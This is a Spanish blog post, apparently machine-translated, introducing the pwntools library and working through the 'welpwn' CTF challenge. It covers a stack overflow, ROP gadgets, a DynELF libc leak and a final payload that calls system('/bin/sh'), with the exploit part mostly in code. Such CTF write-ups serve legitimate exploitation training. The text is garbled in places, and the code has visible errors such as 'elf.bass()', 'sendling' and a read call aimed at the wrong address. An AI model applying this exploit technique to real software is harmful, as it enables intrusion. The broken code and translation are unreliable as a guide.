Conceptos básicos de seguridad binaria herramienta pwn pwntools

  • Autor:CERO-A-ONE
  • Fecha: 2021-06-24

1. Comprensión profunda del uso de pwntools.

1.1 módulos comunes de pwntools

  • conjunto: montaje y desmontaje
  • dynelf: fuga de símbolo remoto
  • elf: operación de archivo elf
  • gdb: iniciar la depuración de gdb
  • shellcraft: generador de código shell
  • patrón cíclico: cálculo de caracteres desplazados
  • proceso/remoto: interfaz de lectura y escritura

1.2 Montaje y desmontaje

Convierta instrucciones ensambladoras en código de máquina

>>> asm('nop')
'\x90'

Convertir código de máquina en instrucciones ensambladoras

>>> print disasm('90'.decode('hex'))
0:	90							nop

1.3 operaciones de archivos ELF

>>> elf = ELF('/bin/cat')
[*] '/bin/cat'
	Arch:		amd64-64-little
	RELRO:		Partial RELRO
	Stack:		Canary found
	NX:			NX enabled
	PIE:		PIE enabled
	FORTIFY:	Enabled
>>> print hex(elf.bass())
0xb260
>>> print hex(elf.plt['write'])
0x2090
>>> print hex(elf.symbols['write'])
0x2090
>>> print hex(elf.got['write'])
0xb048
>>>

1.4 generador de código shell

>>> print shellcraft.linux.sh()
    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push '/bin///sh\x00' */
    push 0x68
    push 0x732f2f2f
    push 0x6e69622f
    mov ebx, esp
    /* push argument array ['sh\x00'] */
    /* push 'sh\x00\x00' */
    push 0x1010101
    xor dword ptr [esp], 0x1016972
    xor ecx, ecx
    push ecx /* null terminate */
    push 4
    pop ecx
    add ecx, esp
    push ecx /* 'sh\x00' */
    mov ecx, esp
    xor edx, edx
    /* call execve() */
    push SYS_execve /* 0xb */
    pop eax
    int 0x80

>>> 

1.5 Interfaz de lectura y escritura

Interfaz de lectura y escritura remota

>>> re = remote("127.0.0.1",21)
[+] Opening connection to 127.0.0.1 on port 21:Done

Imprimir mensajes recibidos

>>> print re.recvline()
220 (vsFTPd 3.0.3)

Interfaz de E/S local

>>> p = process('/bin/sh')
[+] Strating local process '/bin/sh': pid 1223
>>> p.sendling('ifconfig')
>>> p.recvline()
'eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1454\n'

2. bienvenido

2.1 Utilización de ROP

Dado que NX no puede ejecutar shellcode en la pila cuando está activado, podemos organizar una serie de direcciones de retorno y parámetros en la pila, de modo que se puedan realizar múltiples llamadas a funciones y el flujo del programa se pueda controlar mediante la declaración ret. al final de la función, y algunas de las funciones del programa se pueden usar Bloques de código pop/ret (llamados gadgets) para equilibrar la pila

2.2 La diferencia entre el paso de parámetros de 64 bits y 32 bits

  • Los parámetros de llamada de función de 32 bits se colocan en la pila de derecha a izquierda
  • Llamada de función de 64 bits:
    • Cuando hay menos de 7 parámetros, los parámetros se colocan en registros de izquierda a derecha: rdi, rsi, rdx, rcx, r8, r9
    • Cuando hay más de 7 parámetros, los primeros 6 son los mismos que antes, pero los siguientes se colocan en la pila de "derecha a izquierda" en orden, que es lo mismo que el ensamblaje de 32 bits.

2.3 Explicación detallada de welpwn

2.3.1 archivo Ver archivo

└─[$] file welpwn                                       [15:32:23]
welpwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=a48a707a640bf53d6533992e6d8cd9f6da87f258, not stripped

2.3.2 mecanismo de protección de vista checksec

└─[$] checksec welpwn                                   [15:32:33]
[*] '/home/syc/example/welpwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

2.3.3 Análisis de la AIF

int __cdecl main(int argc, const char **argv, const char **envp)
{
    
    
  char buf; // [rsp+0h] [rbp-400h]

  alarm(0xAu);
  write(1, "Welcome to RCTF\n", 0x10uLL);
  fflush(_bss_start);
  read(0, &buf, 0x400uLL);
  echo(&buf, &buf);
  return 0;
}

read()Para leer datos de 1024 bytes, llameecho()

Ver echofunciones

int __fastcall echo(__int64 a1)
{
    
    
  char s2[16]; // [rsp+10h] [rbp-10h]

  for ( i = 0; *(_BYTE *)(i + a1); ++i )
    s2[i] = *(_BYTE *)(i + a1);
  s2[i] = 0;
  if ( !strcmp("ROIS", s2) )
  {
    
    
    printf("RCTF{Welcome}", s2);
    puts(" is not flag");
  }
  return printf("%s", s2);
}

echoHay una asignación de bucle en la función y el número de bucles es readla longitud de los datos leídos por la función.

for ( i = 0; *(_BYTE *)(i + a1); ++i )
    s2[i] = *(_BYTE *)(i + a1);
s2[i] = 0;

Compruebe que echoel tamaño del marco de la pila de funciones sea 20 h

push    rbp
mov     rbp, rsp
sub     rsp, 20h

Dado que echoel tamaño del marco de pila de la función (20h) es mucho menor que la longitud de los datos que la función puede leer (400h), la dirección de retorno de la función guardada en la pila se sobrescribirá readal realizar la asignación de bucle.echo

2.3.4 Ideas de utilización

mainEn la función, el usuario puede ingresar 1024 bytes y echocopiar la entrada en su propio espacio de pila a través de la función, pero el espacio de pila es muy pequeño, lo que hace posible el desbordamiento de la pila. Dado que el carácter se utiliza como terminador de cadena durante el proceso de copia x00, si este carácter existe en nuestra carga útil, la copia no se realizará correctamente. x00Necesitamos construir una cadena ROP para que los personajes definitivamente se incluyan en la carga útil.

Evitar obstáculos:

echoEl marco de la pila es solo 20h, que son 32 bytes, el tamaño de 4 dispositivos pop. Debido a que los parámetros se almacenan en registros, el buf real y s2 son adyacentes en el espacio de almacenamiento. buf pertenece al marco de la pila de la función principal y s2 pertenece a la pila de eco El marco, pop32 bytes, equivale a mover la parte superior de la pila a la pila de la función principal y llamar a la cadena ROP donde existe la función principal.

2.3.5 Integrar ideas y escribir EXP

Encontrar pop4ROP

└─[$] ROPgadget --binary welpwn --only "pop|ret"        [15:45:33]
Gadgets information
============================================================
0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008a0 : pop r14 ; pop r15 ; ret
0x00000000004008a2 : pop r15 ; ret
0x000000000040089b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400675 : pop rbp ; ret
0x00000000004008a3 : pop rdi ; ret
0x00000000004008a1 : pop rsi ; pop r15 ; ret
0x000000000040089d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400589 : ret
0x00000000004006a5 : ret 0xc148
0x000000000040081a : ret 0xfffd

Unique gadgets found: 13

2.3.6 Explicación detallada de la carga útil

Filtrar información de libc

def leak(address):
    print p.recv(1024)
    payload = "A" * 24
    payload += p64(popr12r13r14r15)
    payload += p64(pop6address) + p64(0) + p64(1) + p64(writegot) + p64(8) + p64(address)
    payload += p64(movcalladdress)
    payload += "A" * 56
    payload += p64(startAddress)
    payload = payload.ljust(1024,"C")
    p.send(payload)
    data = p.recv(4)
    print "%#x => %s" % (address, (data or '').encode('hex'))
    return data
dynelf = DynELF(leak,elf=ELF("./welpwn"))

Primero según el tamaño del búfer.

char s2[16]; // [rsp+10h] [rbp-10h]

Luego implemente el byte superpuesto

payload = "A" * 24

Luego borre los bytes R12, R13, R14, R15, un total de 32 bytes

payload += p64(popr12r13r14r15)

Luego implemente la pila y llene los registros con gadgets.

.text:000000000040089A                 pop     rbx
.text:000000000040089B                 pop     rbp
.text:000000000040089C                 pop     r12
.text:000000000040089E                 pop     r13
.text:00000000004008A0                 pop     r14
.text:00000000004008A2                 pop     r15
.text:00000000004008A4                 retn
payload += p64(pop6address) + p64(0) + p64(1) + p64(writegot) + p64(8) + p64(address)

lograrwrite(1,address,8)

p64(movcalladdress)
.text:0000000000400880 loc_400880:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400880                 mov     rdx, r13
.text:0000000000400883                 mov     rsi, r14
.text:0000000000400886                 mov     edi, r15d
.text:0000000000400889                 call    qword ptr [r12+rbx*8]
.text:000000000040088D                 add     rbx, 1
.text:0000000000400891                 cmp     rbx, rbp
.text:0000000000400894                 jnz     short loc_400880
rdx => 8
rsi => address
edi => 1
add rbx,1 => 1
cmp rbx,rdp
cmp 1,1

Sobrescriba la dirección del remitente a la dirección de inicio

payload += "A" * 56
payload += p64(startAddress)

Completa 1024

payload = payload.ljust(1024,"C")

Llamar a dynelf filtra libc

dynelf = DynELF(leak,elf=ELF("./welpwn"))

transferirsystem("/bin/sh")

systemAddress = dynelf.lookup("system","libc")
print hex(systemAddress)
bssAddress = 0x601070
poprdi = 0x4008a3
print p.recv(1024)
payload = "A" * 24
payload += p64(popr12r13r14r15)
payload += p64(pop6address) + p64(0) + p64(1) + p64(readgot) + p64(8) + p64(address)
payload += p64(movcalladdress)
payload += "A" * 56
payload += p64(poprdi)
payload += p64(bssAddress)
payload += p64(systemAddress)
payload = payload.ljust(1024,"C")
p.send(payload)
p.send("/bin/sh\x00")
p.interactive()

implementar llamadaread(0,bassaddr,8)

payload += p64(movcalladdress)

implementar llamadasystem(bssaddr)

payload += "A" * 56
payload += p64(poprdi)
payload += p64(bssAddress)
payload += p64(systemAddress)

Supongo que te gusta

Origin blog.csdn.net/kelxLZ/article/details/118194487
Recomendado
Clasificación